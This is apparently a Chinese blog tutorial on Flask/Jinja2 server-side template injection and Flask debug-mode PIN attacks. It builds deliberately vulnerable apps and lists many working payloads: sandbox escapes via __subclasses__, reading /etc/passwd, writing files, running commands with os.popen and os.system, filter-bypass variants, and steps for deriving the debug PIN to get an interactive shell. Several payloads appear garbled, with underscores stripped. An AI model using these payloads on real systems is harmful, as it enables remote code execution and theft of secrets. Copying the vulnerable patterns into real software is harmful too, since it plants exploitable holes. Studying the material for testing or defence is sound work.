flask ssti模版注入以及debug pin 安全问题

flask ssti模版注入以及debug pin安全问题

1. 环境搭建

下载Flask框架:pip install flask
写一个最简单的基于Flask的Web应用

	#test.py
from flask import Flask

app = Flask(__name__)

@app.route("/") #route()装饰器告诉Flask什么样的URL能触发我们的函数
def hello():
return "Hello World!!!"

if __name__ == "__main__":  #当.py文件被直接运行时,if name == ‘main‘之下的代码块将被运行;当.py文件以模块形式被导入时,if name == ‘main‘之下的代码块不被运行。
    app.run(host="0.0.0.0", port=80, debug=True) #开启调试模式,监听所有公网ip

python test.py //部署此应用
在这里插入图片描述
测试
在这里插入图片描述

2. ssti模版注入

ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入,导致在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。个人认为ssti服务端模板注入和sql注入一样都是对用户输入的不正确处理导致的。

渲染方法:

flask的渲染方法有render_template和render_template_string两种。

render_template() 		用来渲染一个指定的文件。
render_template_string  用来渲染一个字符串。

模板渲染:
flask是使用Jinja2来作为渲染引擎的。
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
render_template函数渲染的是templates中的模板,模板是自己写的html文件
在这里插入图片描述

#index.html
<html>
  <head>
    <title>Hello World</title>
  </head>
 <body>
      <h1>Hello, {{user.name}}!</h1>
  </body>
</html>
#app.py
from flask import Flask
from flask import request
from flask import render_template
app = Flask(__name__)

@app.route('/')
@app.route('/test')
def index():
   user = {'name': 'You Are Admin'}
   return render_template("index.html",user=user)
if __name__ == '__main__':
        app.debug = True
        app.run()

在这里插入图片描述
说白了就是将数据放到模板中相应的位置,然后让渲染引擎生成的html返回给浏览器。

模版渲染Jinja2中变量:

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

下面是一段有问题的代码

from flask import Flask
from flask import request
from flask import render_template_string
app = Flask(__name__)

@app.route('/')
@app.route('/test')
def test():
    code = request.args.get('id')

    template = '''
        <div class="center-content error">
            <h1>hello,%s</h1>
        </div> 
    '''%(code)

    return render_template_string(template)
if __name__ == '__main__':
        app.debug = True
        app.run()

render_template_string将template的内容当字符串来渲染,而且使用了%s来动态的替换字符串,于是漏洞就产生了。
id={{10*10}} //{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。
在这里插入图片描述
id={{config}}
在这里插入图片描述
config也是Flask模版中的一个全局对象,它代表“当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。查看这些配置项目,只需注入{{ config.items() }}有效载荷。
当然,也可以xss
在这里插入图片描述
另一种存在漏洞的代码

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404

沙盒逃逸:
模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
python魔术方法:
class 返回类型所属的对象

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 

__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 

__init__ 类的初始化方法 

__globals__ 对包含函数全局变量的字典的引用

__mro__和__base__都能返回基类。

__mro__允许我们在当前Python环境中追溯对象继承树,之后__subclasses__又让我们回到原点。

那么逃逸沙箱的思路就是:"".class.bases[0].subclasses(),即从任意一个变量,到基类中去,再通过subclasses__()获得基类的子类的集合,然后再通过实现类调用相应的成员变量函数。
在这里插入图片描述
再可以找到重载过的__init__类(在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的):

>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>

查看其引用 builtins

Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。

‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]

这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能:

‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]['file

一些绕过方法和利用
1.过滤[]等括号
使用gititem绕过。如原poc {{"".class.bases[0]}}
绕过后{{"".class.bases.getitem(0)}}

2.过滤了subclasses,拼凑法
原poc{{"".class.bases[0].subclasses()}}
绕过 {{"".class.bases[0]‘subcla’+‘sses’}}

3.过滤class
使用session
poc {{session[‘cla’+‘ss’].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{{session[‘cla’+'ss’].mro[12]}}
或者
request[‘cl’+'ass’].mro[12]}}

4.读写文件
#读

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

#写

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('hello') }}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write()
  1. 命令执行
    eval :

     ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
     
     {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
    

warnings.catch_warnings:

].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
用于Python3.6过滤class base mro config args init global 还有单引号 下划线 点 等个别特殊符号的情况
{{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["\x5F\x5fbuil"+"tins\x5f\x5f"]["\x5F\x5fim"+"port\x5f\x5f"]("os")["popen"]("whoami")["read"]()}}

Commands:

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import
还可参考博文Flask/Jinja2模板注入中的一些绕过姿势 :https://p0sec.net/index.php/archives/120/

3. debug pin 安全问题

Flask在debug模式下会生成一个Debugger PIN,而且如果你多次重启Flask服务,PIN码值不改变。
在这里插入图片描述

生成PIN的关键值有如下几个

  1. 服务器运行flask所登录的用户名。 通过读取/etc/passwd获得
  2. modname 一般不变就是flask.app
  3. getattr(app, “__name__”, app.__class__.__name__)。python该值一般为Flask 值一般不变
  4. flask库下app.py的绝对路径。通过报错信息就会泄露该值。
    5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得 //eth0处为当前使用的网卡
    6.最后一个就是机器的id。
    对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
    对于docker机则读取/proc/self/cgroup:

其利用方式为进入debug页面后,通过pin码可以获得一个python的交互式shell
如: 在这里插入图片描述在这里插入图片描述

Flask在生产环境中开启debug模式是一件非常危险的事,主要有3点原因:
1、会泄露当前报错页面的源码,可供审计挖掘其他漏洞
2、会泄露Web应用的绝对路径,及Python解释器的路径(可以配合写文件漏洞向指定目录的文件内写入构造好的恶意代码,利用方式可以参考安全客的这篇文章:文件解压之过 Python中的代码执行)
3、debug页面中包含Python的交互式shell,可以执行任意Python代码
Flask debug 模式 PIN 码生成机制详情请参考https://xz.aliyun.com/t/2553 和 https://www.cnblogs.com/HacTF/p/8160076.html

参考:
https://www.freebuf.com/articles/web/98928.html
https://www.freebuf.com/articles/web/98619.html
https://zhuanlan.zhihu.com/p/93746437?utm_source=wechat_session

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值